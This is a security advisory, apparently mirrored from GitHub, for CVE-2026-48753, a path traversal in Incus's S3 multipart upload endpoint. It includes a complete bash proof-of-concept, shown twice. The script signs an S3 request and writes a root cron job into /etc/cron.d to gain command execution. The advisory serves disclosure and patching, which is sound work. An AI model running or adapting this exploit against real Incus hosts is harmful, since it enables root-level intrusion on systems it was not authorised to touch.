GHSA-CCJC-4QC3-JXQC
Vulnerability from github – Published: 2026-06-26 18:47 – Updated: 2026-06-26 18:47
VLAI
Summary
Incus has an arbitrary file write via path traversal in S3 multipart upload
Details
Summary
The S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution.
In internal/server/storage/s3/local/multipart.go, user-controlled upload ID is appended to the uploads directory unsanitized; https://github.com/lxc/incus/blob/40dd4f151d52c06b178482aa2518abfb9df3e6fb/internal/server/storage/s3/local/multipart.go#L33
PoC
Setup
# Expose the S3 API and create a bucket
incus config set core.storage_buckets_address=:8555
incus storage volume create default bucket
#> note the credentials
Exploitation
The below script was mostly generated.
#!/usr/bin/env bash
set -euo pipefail
if [ $# -lt 4 ]; then
printf 'usage: $0 endpoint bucket access-key secret-key\n' >&2
exit 1
fi
endpoint="${1%/}"
bucket="${2}"
access="${3}"
secret="${4}"
region="us-east-1"
service="s3"
key="anything"
part="1"
upload_id="../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d"
target="/etc/cron.d/part-00001"
cmd="id > /incus-s3-uploadid-bash-rce; rm -f $target"
body="* * * * * root /bin/sh -c '$cmd'
"
uri_path="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://[^/]+##')/$bucket/$key"
uri_path="${uri_path#/}"
uri_path="/$uri_path"
host="$(printf '%s' "$endpoint" | sed -E 's#^[a-z]+://([^/]+).*#\1#')"
qs="partNumber=$part&uploadId=${upload_id//\//%2F}"
url="$endpoint/$bucket/$key?$qs"
amz_date=$(date -u +%Y%m%dT%H%M%SZ)
date_scope="${amz_date:0:8}"
scope="$date_scope/$region/$service/aws4_request"
body_hash=$(printf '%s' "$body" | sha256sum | awk '{print $1}')
signed="host;x-amz-content-sha256;x-amz-date"
canonical="PUT
$uri_path
$qs
host:$host
x-amz-content-sha256:$body_hash
x-amz-date:$amz_date
$signed
$body_hash"
canonical_hash="$(printf '%s' "$canonical" | sha256sum | awk '{print $1}')"
string_to_sign="AWS4-HMAC-SHA256
$amz_date
$scope
$canonical_hash"
hmac_hex() {
printf '%s' "${2}" | openssl dgst -sha256 -mac HMAC -macopt "hexkey:${1}" -binary | xxd -p -c 256
}
k_date=$(printf 'AWS4%s' "$secret" | xxd -p -c 256)
k_date=$(hmac_hex "$k_date" "$date_scope")
k_region=$(hmac_hex "$k_date" "$region")
k_service=$(hmac_hex "$k_region" "$service")
k_signing=$(hmac_hex "$k_service" "aws4_request")
sig=$(hmac_hex "$k_signing" "$string_to_sign")
auth="AWS4-HMAC-SHA256 Credential=${access}/${scope},SignedHeaders=${signed},Signature=${sig}"
printf '# body:\n%s' "${body}"
curl -ksS -X PUT "${url}" \
-H "Host: ${host}" \
-H "X-Amz-Date: ${amz_date}" \
-H "X-Amz-Content-Sha256: ${body_hash}" \
-H "Authorization: ${auth}" \
--data-binary "${body}"
Impact
Arbitrary file write on the host. Possibly leading to arbitrary command execution.
Severity
9.9 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/lxc/incus/v7/cmd/incusd"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48753"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-26T18:47:25Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\nThe S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution.\n\nIn `internal/server/storage/s3/local/multipart.go`, user-controlled upload ID is appended to the uploads directory unsanitized; https://github.com/lxc/incus/blob/40dd4f151d52c06b178482aa2518abfb9df3e6fb/internal/server/storage/s3/local/multipart.go#L33\n\n## PoC\n\n### Setup\n\n```\n# Expose the S3 API and create a bucket\nincus config set core.storage_buckets_address=:8555\nincus storage volume create default bucket\n#\u003e note the credentials\n```\n\n### Exploitation\n\nThe below script was mostly generated.\n\n```\n#!/usr/bin/env bash\nset -euo pipefail\n\nif [ $# -lt 4 ]; then\n\tprintf \u0027usage: $0 endpoint bucket access-key secret-key\\n\u0027 \u003e\u00262\n\texit 1\nfi\n\nendpoint=\"${1%/}\"\nbucket=\"${2}\"\naccess=\"${3}\"\nsecret=\"${4}\"\n\nregion=\"us-east-1\"\nservice=\"s3\"\nkey=\"anything\"\npart=\"1\"\nupload_id=\"../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d\"\ntarget=\"/etc/cron.d/part-00001\"\ncmd=\"id \u003e /incus-s3-uploadid-bash-rce; rm -f $target\"\nbody=\"* * * * * root /bin/sh -c \u0027$cmd\u0027\n\"\n\nuri_path=\"$(printf \u0027%s\u0027 \"$endpoint\" | sed -E \u0027s#^[a-z]+://[^/]+##\u0027)/$bucket/$key\"\nuri_path=\"${uri_path#/}\"\nuri_path=\"/$uri_path\"\nhost=\"$(printf \u0027%s\u0027 \"$endpoint\" | sed -E \u0027s#^[a-z]+://([^/]+).*#\\1#\u0027)\"\nqs=\"partNumber=$part\u0026uploadId=${upload_id//\\//%2F}\"\nurl=\"$endpoint/$bucket/$key?$qs\"\n\namz_date=$(date -u +%Y%m%dT%H%M%SZ)\ndate_scope=\"${amz_date:0:8}\"\nscope=\"$date_scope/$region/$service/aws4_request\"\nbody_hash=$(printf \u0027%s\u0027 \"$body\" | sha256sum | awk \u0027{print $1}\u0027)\nsigned=\"host;x-amz-content-sha256;x-amz-date\"\n\ncanonical=\"PUT\n$uri_path\n$qs\nhost:$host\nx-amz-content-sha256:$body_hash\nx-amz-date:$amz_date\n\n$signed\n$body_hash\"\ncanonical_hash=\"$(printf \u0027%s\u0027 \"$canonical\" | sha256sum | awk \u0027{print $1}\u0027)\"\nstring_to_sign=\"AWS4-HMAC-SHA256\n$amz_date\n$scope\n$canonical_hash\"\n\nhmac_hex() {\n\tprintf \u0027%s\u0027 \"${2}\" | openssl dgst -sha256 -mac HMAC -macopt \"hexkey:${1}\" -binary | xxd -p -c 256\n}\n\nk_date=$(printf \u0027AWS4%s\u0027 \"$secret\" | xxd -p -c 256)\nk_date=$(hmac_hex \"$k_date\" \"$date_scope\")\nk_region=$(hmac_hex \"$k_date\" \"$region\")\nk_service=$(hmac_hex \"$k_region\" \"$service\")\nk_signing=$(hmac_hex \"$k_service\" \"aws4_request\")\nsig=$(hmac_hex \"$k_signing\" \"$string_to_sign\")\nauth=\"AWS4-HMAC-SHA256 Credential=${access}/${scope},SignedHeaders=${signed},Signature=${sig}\"\n\nprintf \u0027# body:\\n%s\u0027 \"${body}\"\n\ncurl -ksS -X PUT \"${url}\" \\\n\t-H \"Host: ${host}\" \\\n\t-H \"X-Amz-Date: ${amz_date}\" \\\n\t-H \"X-Amz-Content-Sha256: ${body_hash}\" \\\n\t-H \"Authorization: ${auth}\" \\\n\t--data-binary \"${body}\"\n```\n\n\n## Impact\n\nArbitrary file write on the host. Possibly leading to arbitrary command execution.",
"id": "GHSA-ccjc-4qc3-jxqc",
"modified": "2026-06-26T18:47:25Z",
"published": "2026-06-26T18:47:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lxc/incus/security/advisories/GHSA-ccjc-4qc3-jxqc"
},
{
"type": "PACKAGE",
"url": "https://github.com/lxc/incus"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Incus has an arbitrary file write via path traversal in S3 multipart upload"
}
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Sightings
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vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
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The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
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